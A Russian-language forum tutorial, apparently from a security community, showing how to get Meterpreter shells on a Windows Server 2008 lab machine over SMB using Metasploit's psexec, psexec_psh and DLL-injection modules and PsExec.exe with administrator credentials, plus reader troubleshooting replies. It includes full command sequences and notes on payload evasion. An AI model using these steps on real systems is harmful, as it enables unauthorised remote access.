Статья Meterpreter сессия. SMB протокол

Привет, всем! В этой статье я покажу способы получения активной сессии meterpreter, используя SMB протокол.

upload_2017-2-2_19-44-44.png


В качестве уязвимой машины мною был выбран Windows Server 2008, а в качестве атакующей системы Kali Linux 2016.2. Все, что нам необходимо для проведения атаки, это включенный SMB 2.0 сервис на сервере и Metasploit в Kali.

SMB 2.0 впервые стал использоваться в ОС Windows Vista и Windows Server 2008. Его назначение – применение в сфере сетевых файловых серверов нового поколения. В целях обратной совместимости Windows Server 2008 и Windows Vista поддерживают как SMB 1.0 так и SMB 2.0.

Итак, способ номер один (1): Microsoft Windows Authenticated User Code Execution.

Этот модуль использует действительное имя пользователя и пароль администратора (или хэш пароля) для выполнения произвольной полезной нагрузки. Этот модуль похож на "Psexec" от SysInternals. Модуль может стирать за собой данные. Сервис, созданный с помощью этого инструмента, использует случайно выбранное название и описание.

Запускаем Metasploit и выполняем следующие команды:

> use exploit/windows/smb/psexec

> set rhost 172.16.0.234

> set rport 445

> set smbuser Administrator

> set smbpass Adminroot123

> exploit

В итоге получаем сессию meterpreter:

upload_2017-2-2_19-45-26.png


Способ номер два (2): Microsoft Windows Authenticated PowerShell Command Execution.

Этот модуль так же использует действительное имя пользователя и пароль администратора для выполнения полезной нагрузки PowerShell, используя подобную технику как в утилите "Psexec", предоставленной SysInternals. Полезная нагрузка кодируется в base64 и выполняется из командной строки, используя закодированный командный флаг. С помощью этого метода, полезная нагрузка не записывается на диск, и при условии, что каждая нагрузка является уникальной, данный метод менее подвержен обнаружению на основе сигнатур. Неизменяемые опции, предоставленные для выполнения нагрузки, работают циклично, обеспечивая постоянность. Во избежание обнаружения, может быть добавлена задержка исполнения или другие методы запутывания. Для того, чтобы избежать интерактивных уведомлений процесса для текущего пользователя, пайлоад был уменьшен в размерах и завернут в PowerShell вызов, который скрывает окно целиком.

В Metasploit пишем:

> use exploit/windows/smb/psexec_psh

> set rport 445

> set rhost 172.16.0.234

> set smbuser Administrator

> set smbpass Adminroot123

> exploit

Как итог, все работает.

upload_2017-2-2_19-46-12.png


Третий способ (3): Generic SMB DLL injection:

Этот метод не похож на предыдущие, так как, используется DLL инъекция, которая дает возможность выполнять свой код в адресном пространстве уже запущенного процесса.

Выполняем следующие заклинания в Metasploit:

> use exploit/windows/smb/generic_smb_dll_injection

> set srvhost 192.168.31.201

> exploit

Сгенерированную команду необходимо выполнить в командной строке сервера:

upload_2017-2-2_19-47-10.png


В таком формате:

upload_2017-2-2_19-47-26.png


Получаем активную сессию meterpreter:

upload_2017-2-2_19-47-39.png


Заключительный, четвертый способ (4): Psexec.exe

Psexec.exe - это программное обеспечение, которое помогает нам получить доступ к другим компьютерам в сети. Это программное обеспечение непосредственно подводит нас к оболочке удаленного ПК. Получить его можно здесь:

>

Я тестировал его в Windows, для использования, вводим следующую команду в cmd (меняем путь согласно вашему расположению программы)

> C:\PSTools>PsExec.exe link removed –u Administrator –p Adminroot123 cmd

Где:

· link removed – Адрес тестируемого хоста

· -u – Имя пользователя

· -p – Пароль

· сmd – открыть командную строку

upload_2017-2-2_19-48-22.png


Соединение установлено успешно, убедимся в этом, посмотрев вывод команды:

> systeminfo

upload_2017-2-2_19-48-41.png


На данный момент, все. Надеюсь, кому то пригодится. Спасибо за внимание и т.д.
 

Pushkinmazila

Green Team
20.11.2016
34
26
BIT
2
Толь я кривой толь чет не то )

При попытке провернуть такой же трюк выходит ошибка

STATUS_ACCESS_DENIED (Command=117 WordCount=0)

На сайте сказали поменять реестр это учитывая что менять надо на целевой машине но ладно для теста сделал но все равно все таже ошибка
мож кто знает че за дичь ?

Кстати а вот и тот сайтик...

[doublepost=1486254072,1486253999][/doublepost]А и так у меня ваще ни че не работало

Ниже ссылка где я стащил похожий вариант
 
D

DoberGroup

для теста сделал но все равно все таже ошибка
мож кто знает че за дичь ?
1. На целевой машине вообще служба "Сервер" запущена?
2. Кроме указанной ветки, такие же ключи могут быть в HKEY_LOCAL_MACHINE\SYSTEM\ControlSet00x\, поэтому сделайте поиск ключа RequireSecuritySignature по всему реестру.
 
  • Нравится
Реакции: ghostphisher

Pushkinmazila

Green Team
20.11.2016
34
26
BIT
2
Все равно ошибка не испарилась
[doublepost=1486298302,1486256461][/doublepost]У меня у одного такой ТРАБЛ ?
[doublepost=1486389591][/doublepost]Кстати проблему так и не смог решить
Попробовал заморочиться и через хэш ключь фигачить тоже не помогло (Ну так чтоб все было 100%)
А так очень интерестный вариант прям то что нужно (
 

Tihon49

Green Team
06.01.2018
193
120
BIT
0
Для каждого из приведенных вариантов нужно знать имя юзера и его пароль?!
 

Diplomat

Green Team
28.11.2017
25
4
BIT
0
С третьим вариантом не все понятно!
А есть сканер на возможность DLL иньекеции? зная только RHSOT?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!